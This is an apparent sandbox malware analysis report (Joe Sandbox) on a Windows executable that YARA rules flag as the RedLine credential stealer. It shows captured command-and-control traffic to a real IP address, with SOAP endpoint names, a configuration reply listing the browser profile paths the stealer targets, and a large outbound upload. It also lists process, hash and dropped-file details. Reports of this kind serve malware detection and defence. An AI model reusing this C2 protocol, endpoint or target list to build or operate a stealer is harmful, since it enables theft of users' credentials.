Feb 21, 2025 19:26:45.941973925 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.942044020 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.942095041 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.942246914 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.942369938 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.942382097 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.942394972 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.942462921 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.942567110 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.942859888 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.942914963 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:45.947510004 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.947582006 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.947593927 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.947887897 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:45.948010921 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:46.657716036 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:46.693428040 CET	49738	55615	192.168.2.4	185.222.58.44

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 21, 2025 19:26:41.251378059 CET	50255	53	192.168.2.4	1.1.1.1
Feb 21, 2025 19:26:41.258898973 CET	53	50255	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 21, 2025 19:26:41.251378059 CET	192.168.2.4	1.1.1.1	0xddd0	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 21, 2025 19:26:41.258898973 CET	1.1.1.1	192.168.2.4	0xddd0	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 21, 2025 19:26:41.258898973 CET	1.1.1.1	192.168.2.4	0xddd0	No error (0)	api.ip.sb.cdn.cloudflare.net		104.26.12.31	A (IP address)	IN (0x0001)	false
Feb 21, 2025 19:26:41.258898973 CET	1.1.1.1	192.168.2.4	0xddd0	No error (0)	api.ip.sb.cdn.cloudflare.net		104.26.13.31	A (IP address)	IN (0x0001)	false
Feb 21, 2025 19:26:41.258898973 CET	1.1.1.1	192.168.2.4	0xddd0	No error (0)	api.ip.sb.cdn.cloudflare.net		172.67.75.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ip.sb

185.222.58.44:55615

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	185.222.58.44	55615	7452	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Feb 21, 2025 19:26:35.317444086 CET	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 185.222.58.44:55615 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Feb 21, 2025 19:26:35.907294989 CET	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 21 Feb 2025 18:26:35 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Feb 21, 2025 19:26:40.975482941 CET	223	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 185.222.58.44:55615 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Feb 21, 2025 19:26:41.172713995 CET	1236	IN	HTTP/1.1 200 OK Content-Length: 4744 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 21 Feb 2025 18:26:41 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	185.222.58.44	55615	7452	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Feb 21, 2025 19:26:44.425841093 CET	221	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 185.222.58.44:55615 Content-Length: 933417 Expect: 100-continue Accept-Encoding: gzip, deflate
Feb 21, 2025 19:26:45.912023067 CET	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 21 Feb 2025 18:26:45 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Feb 21, 2025 19:26:45.921417952 CET	217	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 185.222.58.44:55615 Content-Length: 933409 Expect: 100-continue Accept-Encoding: gzip, deflate
Feb 21, 2025 19:26:46.657716036 CET	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 21 Feb 2025 18:26:45 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	104.26.12.31	443	7452	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 18:26:42 UTC	64	OUT	GET /geoip HTTP/1.1 Host: api.ip.sb Connection: Keep-Alive
2025-02-21 18:26:42 UTC	945	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 18:26:42 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding Cache-Control: no-cache access-control-allow-origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TqyfshamCdwmXdNJP5pPzQlZ34byBWXYD4G0p%2BdzoeQJO%2BmJJZQWGqtAr85FOcfFXAm5yCkxUABv2DL7Z7QDdW2R8%2Bj%2FYkVHhFdlUunb8Th%2BRE5lkKwEz3iAjQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 9158c94638421a1f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1959&min_rtt=1955&rtt_var=743&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2805&recv_bytes=678&delivery_rate=1464393&cwnd=232&unsent_bytes=0&cid=454b2f40121a9042&ts=917&x=0"
2025-02-21 18:26:42 UTC	351	IN	Data Raw: 31 35 38 0d 0a 7b 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 37 34 2e 30 30 36 36 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 22 2c 22 6f 66 66 73 65 74 22 3a 2d 31 38 30 30 30 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 61 73 6e 22 3a 33 33 35 36 2c 22 61 73 6e 5f 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 4c 45 56 45 4c 33 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 6c 61 74 69 74 75 64 65 Data Ascii: 158{"organization":"CenturyLink","longitude":-74.0066,"city":"New York","timezone":"America\/New_York","isp":"CenturyLink","offset":-18000,"region":"New York","asn":3356,"asn_organization":"LEVEL3","country":"United States","ip":"8.46.123.189","latitude
2025-02-21 18:26:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	13:26:30
Start date:	21/02/2025
Path:	C:\Users\user\Desktop\yGu4YUwMl6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\yGu4YUwMl6.exe"
Imagebase:	0x210000
File size:	589'824 bytes
MD5 hash:	1161B525009E7448837A658EECC04275
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:26:33
Start date:	21/02/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x250000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:26:33
Start date:	21/02/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x510000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:26:33
Start date:	21/02/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report yGu4YUwMl6.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\yGu4YUwMl6.exe.log

C:\Users\user\AppData\Local\Temp\tmp1596.tmp

C:\Users\user\AppData\Local\Temp\tmp15A6.tmp

C:\Users\user\AppData\Local\Temp\tmp15A7.tmp

C:\Users\user\AppData\Local\Temp\tmp15A8.tmp

C:\Users\user\AppData\Local\Temp\tmp270A.tmp

C:\Users\user\AppData\Local\Temp\tmp271A.tmp

C:\Users\user\AppData\Local\Temp\tmp272B.tmp

C:\Users\user\AppData\Local\Temp\tmp273B.tmp

C:\Users\user\AppData\Local\Temp\tmp274C.tmp

C:\Users\user\AppData\Local\Temp\tmp275D.tmp

C:\Users\user\AppData\Local\Temp\tmp4D15.tmp

C:\Users\user\AppData\Local\Temp\tmp4D26.tmp

C:\Users\user\AppData\Local\Temp\tmp4D36.tmp

C:\Users\user\AppData\Local\Temp\tmp4D37.tmp

Windows Analysis Report
yGu4YUwMl6.exe